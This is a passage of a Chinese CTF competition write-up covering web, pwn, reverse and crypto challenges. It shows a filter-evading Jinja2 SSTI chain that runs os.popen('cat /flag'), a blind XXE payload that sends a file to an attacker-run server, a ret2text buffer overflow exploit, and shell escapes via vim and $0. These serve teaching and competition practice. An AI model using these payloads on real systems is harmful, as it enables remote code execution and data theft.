'list': <class 'list'>,
'map': <class 'map'>,
'object': <class 'object'>,
'range': <class 'range'>,
'reversed': <class 'reversed'>,
'set': <class 'set'>,
'slice': <class 'slice'>,
'staticmethod': <class 'staticmethod'>,
'str': <class 'str'>,
'super': <class 'super'>,
'tuple': <class 'tuple'>,
'type': <class 'type'>,
'zip': <class 'zip'>,
'__debug__': True,
'BaseException': <class 'BaseException'>,
'Exception': <class 'Exception'>,
'TypeError': <class 'TypeError'>,
'StopAsyncIteration': <class 'StopAsyncIteration'>,
'StopIteration': <class 'StopIteration'>,
'GeneratorExit': <class 'GeneratorExit'>,
'SystemExit': <class 'SystemExit'>,
'KeyboardInterrupt': <class 'KeyboardInterrupt'>,
'ImportError': <class 'ImportError'>,
'ModuleNotFoundError': <class 'ModuleNotFoundError'>,
'OSError': <class 'OSError'>,
'EnvironmentError': <class 'OSError'>,
'IOError': <class 'OSError'>,
'EOFError': <class 'EOFError'>,
'RuntimeError': <class 'RuntimeError'>,
'RecursionError': <class 'RecursionError'>,
'NotImplementedError': <class 'NotImplementedError'>,
'NameError': <class 'NameError'>,
'UnboundLocalError': <class 'UnboundLocalError'>,
'AttributeError': <class 'AttributeError'>,
'SyntaxError': <class 'SyntaxError'>,
'IndentationError': <class 'IndentationError'>,
'TabError': <class 'TabError'>,
'LookupError': <class 'LookupError'>,
'IndexError': <class 'IndexError'>,
'KeyError': <class 'KeyError'>,
'ValueError': <class 'ValueError'>,
'UnicodeError': <class 'UnicodeError'>,
'UnicodeEncodeError': <class 'UnicodeEncodeError'>,
'UnicodeDecodeError': <class 'UnicodeDecodeError'>,
'UnicodeTranslateError': <class 'UnicodeTranslateError'>,
'AssertionError': <class 'AssertionError'>,
'ArithmeticError': <class 'ArithmeticError'>,
'FloatingPointError': <class 'FloatingPointError'>,
'OverflowError': <class 'OverflowError'>,
'ZeroDivisionError': <class 'ZeroDivisionError'>,
'SystemError': <class 'SystemError'>,
'ReferenceError': <class 'ReferenceError'>,
'MemoryError': <class 'MemoryError'>,
'BufferError': <class 'BufferError'>,
'Warning': <class 'Warning'>,
'UserWarning': <class 'UserWarning'>,
'EncodingWarning': <class 'EncodingWarning'>,
'DeprecationWarning': <class 'DeprecationWarning'>,
'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>,
'SyntaxWarning': <class 'SyntaxWarning'>,
'RuntimeWarning': <class 'RuntimeWarning'>,
'FutureWarning': <class 'FutureWarning'>,
'ImportWarning': <class 'ImportWarning'>,
'UnicodeWarning': <class 'UnicodeWarning'>,
'BytesWarning': <class 'BytesWarning'>,
'ResourceWarning': <class 'ResourceWarning'>,
'ConnectionError': <class 'ConnectionError'>,
'BlockingIOError': <class 'BlockingIOError'>,
'BrokenPipeError': <class 'BrokenPipeError'>,
'ChildProcessError': <class 'ChildProcessError'>,
'ConnectionAbortedError': <class 'ConnectionAbortedError'>,
'ConnectionRefusedError': <class 'ConnectionRefusedError'>,
'ConnectionResetError': <class 'ConnectionResetError'>,
'FileExistsError': <class 'FileExistsError'>,
'FileNotFoundError': <class 'FileNotFoundError'>,
'IsADirectoryError': <class 'IsADirectoryError'>,
'NotADirectoryError': <class 'NotADirectoryError'>,
'InterruptedError': <class 'InterruptedError'>,
'PermissionError': <class 'PermissionError'>,
'ProcessLookupError': <class 'ProcessLookupError'>,
'TimeoutError': <class 'TimeoutError'>,
'open': <built-in function open>,
'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,
'exit': Use exit() or Ctrl-D (i.e. EOF) to exit,
'copyright': Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved.
Copyright (c) 2000 BeOpen.com. All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum. All Rights Reserved.,
'help': Type help() for interactive help, or help(object) for help about object.
},
'Flask': <class 'flask.app.Flask'>
}

接着看到里面有__builtins__,有了这东西我就能用__import__所以一顿操作把这两个东西弄出来

下面的payload我在这里写的时候加了回车方便查看,但是实际上丢进去我的脚本跑的时候,我是没加的,每次构造获得的变量仅在这次注入有效,所以要连带着上面的payload一起写进去

1
2
3
4
5
6
7
8
9
10
Payload> {% set pop=dict(po=a,p=b)|join %}	{# 构造pop #}
{% set globals=dict(__globals=a,__=b)|join %} {# 构造__globals__ #}
{% set global_obj=url_for|attr(globals) %} {# 获得__globals__对象 #}
{% set builtins=dict(__builtins=a,__=b)|join %} {# 构造__builtins__ #}
{% set builtins_obj=dict(global_obj)|attr(pop)(builtins) %} {# 获得__builtins__对象 #}
{% set import=dict(__import=a,__=b)|join %} {# 构造__import__ #}
{% set import_obj=dict(builtins_obj)|attr(pop)(import) %} {# 获得__import__对象 #}
{% print import_obj %}

<built-in function __import__>

接着直接来获取一下os

1
2
3
4
5
6
7
8
9
10
11
Payload> {% set pop=dict(po=a,p=b)|join %}	{# 构造pop #}
{% set globals=dict(__globals=a,__=b)|join %} {# 构造__globals__ #}
{% set global_obj=url_for|attr(globals) %} {# 获得__globals__对象 #}
{% set builtins=dict(__builtins=a,__=b)|join %} {# 构造__builtins__ #}
{% set builtins_obj=dict(global_obj)|attr(pop)(builtins) %} {# 获得__builtins__对象 #}
{% set import=dict(__import=a,__=b)|join %} {# 构造__import__ #}
{% set import_obj=dict(builtins_obj)|attr(pop)(import) %} {# 获得__import__对象 #}
{% set os=dict(o=a,s=b)|join %} {# 构造os #}
{{ import_obj(os) }} {# 尝试获取os #}

<module 'os' from 'C:\\Environment\\Python38\\lib\\os.py'>

接着去拿popen

1
2
3
4
5
6
7
8
9
10
11
12
Payload> {% set pop=dict(po=a,p=b)|join %}	{# 构造pop #}
{% set globals=dict(__globals=a,__=b)|join %} {# 构造__globals__ #}
{% set global_obj=url_for|attr(globals) %} {# 获得__globals__对象 #}
{% set builtins=dict(__builtins=a,__=b)|join %} {# 构造__builtins__ #}
{% set builtins_obj=dict(global_obj)|attr(pop)(builtins) %} {# 获得__builtins__对象 #}
{% set import=dict(__import=a,__=b)|join %} {# 构造__import__ #}
{% set import_obj=dict(builtins_obj)|attr(pop)(import) %} {# 获得__import__对象 #}
{% set os=dict(o=a,s=b)|join %} {# 构造os #}
{% set popen=dict(pop=a,en=b)|join %} {# 构造popen #}
{{ import_obj(os)|attr(popen) }} {# 尝试获取popen #}

<function popen at 0x000001E6323D63A0>

发现成功了,先把它变成一个变量

1
2
3
4
{% set popen_obj=import_obj(os)|attr(popen) %}	{# 将popen对象赋值给popen_obj #}
{% print popen_obj %}

<function popen at 0x000001E6323D63A0>

接着我发现我还需要空格,而在尝试的时候,我发现了这个东西

1
2
Payload> {{url_for|string|list}} 
['<', 'b', 'o', 'u', 'n', 'd', ' ', 'm', 'e', 't', 'h', 'o', 'd', ' ', 'F', 'l', 'a', 's', 'k', '.', 'u', 'r', 'l', '_', 'f', 'o', 'r', ' ', 'o', 'f', ' ', '<', 'F', 'l', 'a', 's', 'k', ' ', "'", 'a', 'p', 'p', "'", '>', '>']

诶,这里面的index=6的位置不就是个空格嘛,拿出来用

1
{% set space=(url_for|string|list)|attr(pop)(6) %}	{# 将空格赋值给space #}

然后我又发现了一个很尴尬的问题,我缺少/这个字符,行吧,再去弄个chr函数

1
2
3
Payload >{% set chr=dict(ch=a,r=b)|join %}	{# 构造chr #}
{% set chr_obj=dict(builtins_obj)|attr(pop)(chr) %} {# 得到chr对象 #}
{% set slash=chr_obj(47) %} {# 将/赋值给slash}

接着构造我需要的cmd

1
2
3
4
Payload >{% set cat=dict(ca=a,t=b)|join %}	{# 构造cat #}
{% set slash=chr_obj(47) %}
{% set flag=dict(fl=a,ag=b)|join %} {# 构造flag #}
{% set cmd=cat~space~slash~flag %} {# 构造cmd=cat /flag #}

在构造一个read来调用popen.read()

1
Payload >{% set read=dict(re=a,ad=b)|join %}	{# 构造read #}

最后就是读取

1
2
3
Payload >{% print popen_obj(cmd)|attr(read)() %}	{# 调用os.popen("cat /flag").read() #}

flag{b2d7616e-e74b-416d-9e94-218928d98b5e}

最后payload组合起来长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Payload> {% set pop=dict(po=a,p=b)|join %}	{# 构造pop #}
{% set globals=dict(__globals=a,__=b)|join %} {# 构造__globals__ #}
{% set global_obj=url_for|attr(globals) %} {# 得到__globals__对象 #}
{% set builtins=dict(__builtins=a,__=b)|join %} {# 构造__builtins__ #}
{% set builtins_obj=dict(global_obj)|attr(pop)(builtins) %} {# 得到__builtins__对象 #}
{% set import=dict(__import=a,__=b)|join %} {# 构造__import__ #}
{% set import_obj=dict(builtins_obj)|attr(pop)(import) %} {# 得到__import__对象 #}
{% set os=dict(o=a,s=b)|join %} {# 构造os #}
{% set popen=dict(pop=a,en=b)|join %} {# 构造popen #}
{% set popen_obj=import_obj(os)|attr(popen) %} {# 得到popen函数 #}
{% set space=(url_for|string|list)|attr(pop)(6) %} {# 得到空格 #}
{% set chr=dict(ch=a,r=b)|join %} {# 构造chr #}
{% set chr_obj=dict(builtins_obj)|attr(pop)(chr) %} {# 得到chr函数 #}
{% set cat=dict(ca=a,t=b)|join %} {# 构造cat #}
{% set slash=chr_obj(47) %} {# 构造左斜杠/ #}
{% set flag=dict(fl=a,ag=b)|join %} {# 构造flag #}
{% set cmd=cat~space~slash~flag %} {# 得到命令为cat /flag #}
{% set read=dict(re=a,ad=b)|join %} {# 构造read #}
{% print popen_obj(cmd)|attr(read)() %} {# 读取文件并输出内容 #}

flag{b2d7616e-e74b-416d-9e94-218928d98b5e}

[Easy] onlineJava

访问到是一个在线Java的代码运行器

先尝试从零开始写一个读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;
import java.nio.file.*;

public class ReadFile {
public static void main(String[] args) {
String filePath = "/flag";

try {
String content = new String(Files.readAllBytes(Paths.get(filePath)));
System.out.println(content);
} catch (IOException e) {
e.printStackTrace();
}
}
}

结果报错了

看起来可控的只有main函数里面的东西,所以我们不能import,那就用最原始的方法

1
2
3
4
5
6
7
8
9
10
11
12
try {
Process p = Runtime.getRuntime().exec("cat /flag");
java.io.InputStreamReader reader = new java.io.InputStreamReader(p.getInputStream());
java.io.BufferedReader br = new java.io.BufferedReader(reader);
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}

直接创建一个进程来读取就行了,然后就拿到flag了

[Easy] xxe

首先XXE我就不知道是个啥,先Google一下

XML external entity injection (also known as XXE)。奇怪,XML External Entity 为什么不叫XEE?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

因为习惯性的以为容器不出网 结果痛失前三血(哭

先反编译一下,在com.ad.controller.MainController类里面找到后门路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.ad.controller;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

@Controller
/* loaded from: XXE-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/ad/controller/MainController.class */
public class MainController {
@RequestMapping({"/"})
public String index() {
return "index.html";
}

@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(fname).getContentAsByteArray();
if (content != null) {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
}
return "error";
}
}

后门路由为/backdoor,采用GET方式获取fname参数,并渲染fname对应的xml

我个人理解起来就是有点像SSTI,模板可控,因为前期尝试过了各种XXE姿势,发现成功只返回success,所以判断为盲注,然后参考了这篇文章

渗透测试|利用Blind XXE Getshell(Java网站)-腾讯云开发者社区-腾讯云

注:某抄袭、偷盗、付费下载网站有这篇,但是要钱 =-=

这位师傅用XXE成功Getshell了,而我只需要读取/flag的内容,所以可以改一下拿来用

try.dtd

1
2
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://公网服务器IP:某端口/%file;'>">
%all;

tmpass.xml

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

这里的https://org.bili33.top/CTFTMP/try.dtd是我借了Github服务器丢的一个文件(已删库,勿访问),这样能被访问到,然后我只需要读取/flag文件,所以在上面把file改成file:///flag,然后在我的公网服务器开一个flask服务器,等待回传就好了,得到flag为ADCTF{WOW_Y0u_Kn0w_H0w_to_use_Blind_XXE}

PWN

[Easy] meow

这题给的二进制文件有中文,所以第一件事情是更改了IDA的编码方式

在顶上的Options,然后在弹窗选择Strings,更改Default 8-bitUTF-8即可

在main函数里发现了alarm函数,我的直觉告诉我这是脚本题

题目的猫娘要求如下

所以上脚本梭哈(计数是后面加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

io = remote("120.76.118.202", 33026)

io.sendlineafter("Type your passphrase:" , b"f922900eb0c3c804cbdc896a71d95179")

io.sendlineafter("请回复'喵~'开始", "喵~")

MeowCount = 1

while True:
line = io.recvuntil(b"\n").decode()
print("题目:", line)
if "flag{" in line:
break
# io.interactive()
try:
if line[-2] in ["?", "!", "~"]:
print("回答:", line[:-2].replace("\n", "").replace("请输入:", "") + "喵" + line[-2])
io.sendline(line[:-2].replace("\n", "").replace("请输入:", "") + "喵" + line[-2])
MeowCount += 1
else:
print("回答:", line.replace("\n", "").replace("请输入:", "") + "喵~")
io.sendline(line.replace("\n", "").replace("请输入:", "") + "喵~")
MeowCount += 1
except IndexError:
continue

print(f"你一共学了 {MeowCount} 次猫叫")

然后就能够得到flag了,顺带能得到喵了22声

[Easy] binsh

反编译后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h] BYREF
char v4; // [rsp+1h] [rbp-Fh]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
while ( 1 )
{
printf("\nEnter your command:\n> ");
fgets(&s, 3, stdin);
if ( v4 == 104 )
v4 = 98;
puts(&s);
system(&s);
}
}

发现每次读2个字符就会断开,并且如果第二个是h(104),就改为b(98),所以sh会变成sb(诶不是你这题咋还骂人呢)

只能输入两个字符,所以我想到的命令是lsdfdushvi

非预期做法

当然,df du都没什么用,sh会变成sbls可以得到flag的文件名就叫flag,而且在当前目录,于是我就转向了vi

使用vi打开vim编辑器,然后通过vim编辑器的命令来读取

我一开始是直接:!cat flag,但是发现因为输出问题,会被挡住

所以改成了:r !cat flag:r可以把运行的结果保存在当前编辑器中,所以我就可以直接看到flag了

预期做法

预期做法是用$0,linux的$0表示当前运行程序/脚本的名称,所以在这个环境下,$0表示/bin/sh,也就可以变相调用sh命令,突破2个字符的限制

[Easy] ret2text(赛后出)

反编译得到源码,发现后门函数vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
int vuln()
{
char buf[96]; // [rsp+10h] [rbp-60h] BYREF

puts("welcome to this ghost ship,what can i help you?");
puts("captian Jack always say : ");
puts("The living can't reach this ghost ship");
puts("Anyway,how old are you now>");
__isoc99_scanf("%d");
puts("So what are you going to say?\n");
read(0, buf, 0LL);
return puts("I got it,goodbye~\n");
}

看到buf为96长,读取的长度受第一次的输入age决定,但是输入长度是正数,所以会被强制取正(unsigned),所以输入负数就能够绕过95的限制

再发现后门函数backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; Attributes: bp-based frame

; int backdoor()
public backdoor
backdoor proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset s ; "hahaha,not bad"
call _puts
mov edi, offset command ; "cat flag"
call _system
nop
pop rbp
retn
; } // starts at 400616
backdoor endp

地址为0x400616,所以写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

backdoor_addr = 0x400616

payload = cyclic(96)
payload += p64(backdoor_addr)

p = process(b'./ret2text')

p.sendline(b"-1")
p.sendline(payload)

p.interactive()

一跑,诶?怎么不对呢?这个时候J佬出了,后面问了一下,我没+8……

行吧,改一改就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

backdoor_addr = 0x400616

payload = cyclic(96) + cyclic(8)
payload += p64(backdoor_addr)

# p = process(b'./ret2text')

p = remote("120.76.118.202", 33005)
p.sendlineafter(b"Type your passphrase: ", b"cf2e30b452d6fe2a5701a260530ecf9e")
sleep(0.5)
p.sendline(b"-1")
sleep(0.5)
p.sendline(payload)

p.interactive()

然后就能够做出来了……痛失800pts

REVERSE

[Easy] checkin

直接IDA反编译,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+1Ch] [rbp-34h]
char s[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
srand(0x7E8u);
puts("Please input the flag:");
__isoc99_scanf("%s", s);
if ( strlen(s) != 29 )
goto LABEL_7;
for ( i = 0; i <= 28; ++i )
s[i] ^= rand();
if ( !strcmp(s, encoded) )
puts("Congratulations!");
else
LABEL_7:
puts("Wrong!");
return 0;
}

因为Python的randint需要指定范围,我也不知道C的rand()的范围是多少,所以直接用C梭哈

由异或运算的性质,我们可以通过它的可逆性得到原始flag

先获取原始flag的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char encoded[] = { 0x55, 0x17, 0xC9, 0xBB, 0x4A, 0xA5, 0x86, 0xDF, 0x24, 0x0A, 0x1C, 0xA3, 0x27, 0xA1, 0x57, 0x35, 0xC3, 0xDB, 0x91, 0x88, 0x6D, 0x91, 0xA0, 0xCC, 0x71, 0x57, 0x71, 0xE4, 0x40, 0x00 };
char decrypted[40];
int i;

srand(0x7E8); // 设置随机种子与加密时相同

// 解密过程
for (i = 0; i < 29; i++) {
decrypted[i] = encoded[i] ^ rand();
}
decrypted[29] = '\0'; // 添加字符串结束符

// 输出解密后的字符串
for (i = 0; i < 29; i++) {
printf("\\x%02X", (unsigned char)decrypted[i]);
}

printf("\n");
return 0;
}

得到结果为

1
\x66\x6C\x61\x67\x7B\x79\x30\x75\x5F\x4B\x6E\x6F\x77\x5F\x72\x41\x6E\x64\x30\x6D\x5F\x34\x6E\x64\x5F\x78\x4F\x72\x7D

再写一个Python脚本来验证一下

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process("checkin")

cal_flag = "\x66\x6C\x61\x67\x7B\x79\x30\x75\x5F\x4B\x6E\x6F\x77\x5F\x72\x41\x6E\x64\x30\x6D\x5F\x34\x6E\x64\x5F\x78\x4F\x72\x7D"

io.sendlineafter("Please input the flag:", cal_flag)

print(io.recvall().decode())

发现结果正确

最后转为ASCII字符,得到flag为flag{y0u_Know_rAnd0m_4nd_xOr}

CRYPTO

[Normal] Use_Many_Time

得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from secret import flag
p = getPrime(2048)

n = p ** 4

e = 65537

m = bytes_to_long(flag)

c = pow(m,e,n)

print('n =', n)
print('c =', c)

# n = 271472624424656513785706923680771932133715054033425980394077073568817784367419534373403335781047213279328099684778631075010020852340363239109929257593123636490472788742710500691829271154406656967499570620808599990809022444747721621226472999098447873973754640477256467566021323433300316782379572843249101957097476171914061796763882160221810752037588477825281339421214989804806106422337645286183603182582435570582060051797114488129892907097969025919044345960281472097528350236904382867201532480293547156397634024888874181247945486724100923198368861164414053799229573809643496189560293961228262358439897447721272077026577955596476378495555781331390802631948596505810532333928413691919085783591350817862501247468922625100225243353014466352465524402884992557288475473449673329173477799355005388403603540849669807448000951133101061837473065442841126173160221586401667999743065475436042231713071217028338553851930804379457014815136497217622172942725789731656487365400662759041673246263952305177330273165040055678540346032835777756018333782404380070921037783724200080770052468396586141345852821959354352496376533002799798666280242749703930834932216393024552332394747366870653579192862981203841223970368967884378029041333485930753022670356279089241919852655226148387261758145662448291834484689828355196376588241880452162468344771724832727747146706203875543683244719198324124061667256741010066117105718405978693348972717642194095091616302700592766673624550504917867603634542541368375740266071937725051550575451618436991290662488896868128637569245079892637758352664528618064223657481155853608868600031926390171851091738102791194299611556416648756888113654937238624189138830880418480962906152416654876445398057632196937986995992085822575718165073591892866350194485467016785653412183994633115928254714676975956375674614875957033175065090009966949952689186250766814233600527752382571007342869177096365187528130392174264920694275768322770528821969405178452047175169237214071424708443772771459072348156584802498912079521950348331820925988369966076070172436223669851674684504470256163223470647039446081938764730223121989464510919117939913290460289762676092275797366737539534123024502760506615782714363240028877215121539549927135722120154270580276684945221133223162306832578280630822912653337205489280151793861613547764311383072014368485459881701386311716195796935045277483356584921699345142082381019935250848231570451880495222569509469558179017999387883489730684745699017658729849361
# c = 262959409928901942946356967282715685988402717525722998413073199552344194569815462675208727317356069038143476887785349729074152415468561305043719564044443534943678461691194112819829009942015928217138669440068055198678626228169095209700084857903899952032493859312798134830127847836090483339421488013318184521018942602658859674923143870041870487415119261615851991532534606572685371087892175187669735837173802901707243259478231127246547498003861531872712139399220445465633130401043038236189470250375275092537677136076465523278093135254194321212116731237463794930347080005994129860018818529190275740308829411887853496055005914245757890730455096895759851033070483269010908006762902321856837578539257154697504866923667155835568667100011559417194297036546745102722888382810645788593405822297665771079070110912560494209334914533558309387853851664235646634342550739566564027709387611635084010476988602665679274092312701989498548485452833766131120307212434583895800389361158177620204656479294383838488961384696760004965555832729706574445815485286337177591334864985323203962452816823109401292600686290645753703318285223851373494687341332009673985128472618489951377449004314976075061089812435706552393436214957004589524906307287978580991550974217938678109879592869816607502026007252288475327472451287082697741140324509606631465050160462644047707063687221390874129122094235339213836858331145379658693745765989963094532579285786465378971800497606443969187141241371884417409400393554875676670693772124227967787087249970176123360898925123323833553629516940180273052472844245188596972497171407972537936080054594306016800782067609134239410680549083033727692776112628144869503299586655898231079773579227330327159838200652203600435140335585943871110523667774597723803449181446601397378968006674324753246013580929038935474151143294980592601911423698794436171646021633991328190789552835952437637863496011173604086905984318805710258969051632322326111378923301936151648733712292832400228718852555700089350581693206572448860973715415938816675920101336567495654357573191994730856103857549775016982813567025601029715927459867603513676152935188298681539416993775403152002836985599653470480800354152755275582198243528888697069870892345692931591655818148732228227890569700323009808337822568147429445530219871559528924454126891741517141491673059521896789132434077118608327133800491064640223646492279791064413028951228474075277822487467158841147454754127758427097085005104226495027785164273717534964

因为发现n=p^4,所以可以通过n来退出p,所以直接GPT梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
import gmpy2

# 已知信息
n = 271472624424656513785706923680771932133715054033425980394077073568817784367419534373403335781047213279328099684778631075010020852340363239109929257593123636490472788742710500691829271154406656967499570620808599990809022444747721621226472999098447873973754640477256467566021323433300316782379572843249101957097476171914061796763882160221810752037588477825281339421214989804806106422337645286183603182582435570582060051797114488129892907097969025919044345960281472097528350236904382867201532480293547156397634024888874181247945486724100923198368861164414053799229573809643496189560293961228262358439897447721272077026577955596476378495555781331390802631948596505810532333928413691919085783591350817862501247468922625100225243353014466352465524402884992557288475473449673329173477799355005388403603540849669807448000951133101061837473065442841126173160221586401667999743065475436042231713071217028338553851930804379457014815136497217622172942725789731656487365400662759041673246263952305177330273165040055678540346032835777756018333782404380070921037783724200080770052468396586141345852821959354352496376533002799798666280242749703930834932216393024552332394747366870653579192862981203841223970368967884378029041333485930753022670356279089241919852655226148387261758145662448291834484689828355196376588241880452162468344771724832727747146706203875543683244719198324124061667256741010066117105718405978693348972717642194095091616302700592766673624550504917867603634542541368375740266071937725051550575451618436991290662488896868128637569245079892637758352664528618064223657481155853608868600031926390171851091738102791194299611556416648756888113654937238624189138830880418480962906152416654876445398057632196937986995992085822575718165073591892866350194485467016785653412183994633115928254714676975956375674614875957033175065090009966949952689186250766814233600527752382571007342869177096365187528130392174264920694275768322770528821969405178452047175169237214071424708443772771459072348156584802498912079521950348331820925988369966076070172436223669851674684504470256163223470647039446081938764730223121989464510919117939913290460289762676092275797366737539534123024502760506615782714363240028877215121539549927135722120154270580276684945221133223162306832578280630822912653337205489280151793861613547764311383072014368485459881701386311716195796935045277483356584921699345142082381019935250848231570451880495222569509469558179017999387883489730684745699017658729849361
c = 262959409928901942946356967282715685988402717525722998413073199552344194569815462675208727317356069038143476887785349729074152415468561305043719564044443534943678461691194112819829009942015928217138669440068055198678626228169095209700084857903899952032493859312798134830127847836090483339421488013318184521018942602658859674923143870041870487415119261615851991532534606572685371087892175187669735837173802901707243259478231127246547498003861531872712139399220445465633130401043038236189470250375275092537677136076465523278093135254194321212116731237463794930347080005994129860018818529190275740308829411887853496055005914245757890730455096895759851033070483269010908006762902321856837578539257154697504866923667155835568667100011559417194297036546745102722888382810645788593405822297665771079070110912560494209334914533558309387853851664235646634342550739566564027709387611635084010476988602665679274092312701989498548485452833766131120307212434583895800389361158177620204656479294383838488961384696760004965555832729706574445815485286337177591334864985323203962452816823109401292600686290645753703318285223851373494687341332009673985128472618489951377449004314976075061089812435706552393436214957004589524906307287978580991550974217938678109879592869816607502026007252288475327472451287082697741140324509606631465050160462644047707063687221390874129122094235339213836858331145379658693745765989963094532579285786465378971800497606443969187141241371884417409400393554875676670693772124227967787087249970176123360898925123323833553629516940180273052472844245188596972497171407972537936080054594306016800782067609134239410680549083033727692776112628144869503299586655898231079773579227330327159838200652203600435140335585943871110523667774597723803449181446601397378968006674324753246013580929038935474151143294980592601911423698794436171646021633991328190789552835952437637863496011173604086905984318805710258969051632322326111378923301936151648733712292832400228718852555700089350581693206572448860973715415938816675920101336567495654357573191994730856103857549775016982813567025601029715927459867603513676152935188298681539416993775403152002836985599653470480800354152755275582198243528888697069870892345692931591655818148732228227890569700323009808337822568147429445530219871559528924454126891741517141491673059521896789132434077118608327133800491064640223646492279791064413028951228474075277822487467158841147454754127758427097085005104226495027785164273717534964
# n = p^4, 需要从 n 中提取出 p
p = gmpy2.iroot(n, 4)[0] # 计算整数四次方根

# RSA 解密公式 m = c^d mod n,d 是 e 的模逆
e = 65537

# 求出 e 的模逆 d
d = inverse(e, (p ** 4 - p ** 3))

# 解密 c,得到 m
m = pow(c, d, n)

# 将 m 转换为 flag
flag = long_to_bytes(m)
print("Flag:", flag)

最后得到flag为flag{another_weird_construction}

[Normal] Too_Close_To_Sqrt

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from gmpy2 import next_prime
from secret import flag
from Crypto.Util.number import *

p = getPrime(1025)
q = int(next_prime(p))

n = p * q

e = 65537

m = bytes_to_long(flag)

c = pow(m,e,n)

print('n =', n)
print('c =', c)

# n = 77110253337392483710762885851693115398718726693715564954496625571775664359421696802771127484396119363821442323280817855193791448966346325672454247192244603281463595140923987182065095198239715749980911991399313395478292871386248479783966672279960117003211050451721307589036878362258617072298763845707881171743025954660306653186069633961424298647787491228085801739935823867940079473418881721402983930102278146132444200918211570297746753023639071980907968315022004518691979622641358951345391364430806558132988012728594904676117146959007388204192026655365596585273466096578234688721967922267682066710965927143418418189061
# c = 702169486130185630321527556026041034472676838451810139529487621183247331904842057079283224928768517113408797087181581480998121028501323357655408002432408893862758626561073997320904805861882437888050151254177440453995235705432462544064680391673889537055043464482935772971360736797960328738609078425683870759310570638726605063168459207781397030244493359714270821300687562579988959673816634095712866030123140597773571541522765682883740928146364852979096568241392987132397744676804445290807040450917391600712817423804313823998912230965373385456071776639302417042258135008463458352605827748674554004125037538659993074220

丢给GPT一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
from sympy import factorint
# 已知的 n 和 c
n = 77110253337392483710762885851693115398718726693715564954496625571775664359421696802771127484396119363821442323280817855193791448966346325672454247192244603281463595140923987182065095198239715749980911991399313395478292871386248479783966672279960117003211050451721307589036878362258617072298763845707881171743025954660306653186069633961424298647787491228085801739935823867940079473418881721402983930102278146132444200918211570297746753023639071980907968315022004518691979622641358951345391364430806558132988012728594904676117146959007388204192026655365596585273466096578234688721967922267682066710965927143418418189061

c = 702169486130185630321527556026041034472676838451810139529487621183247331904842057079283224928768517113408797087181581480998121028501323357655408002432408893862758626561073997320904805861882437888050151254177440453995235705432462544064680391673889537055043464482935772971360736797960328738609078425683870759310570638726605063168459207781397030244493359714270821300687562579988959673816634095712866030123140597773571541522765682883740928146364852979096568241392987132397744676804445290807040450917391600712817423804313823998912230965373385456071776639302417042258135008463458352605827748674554004125037538659993074220

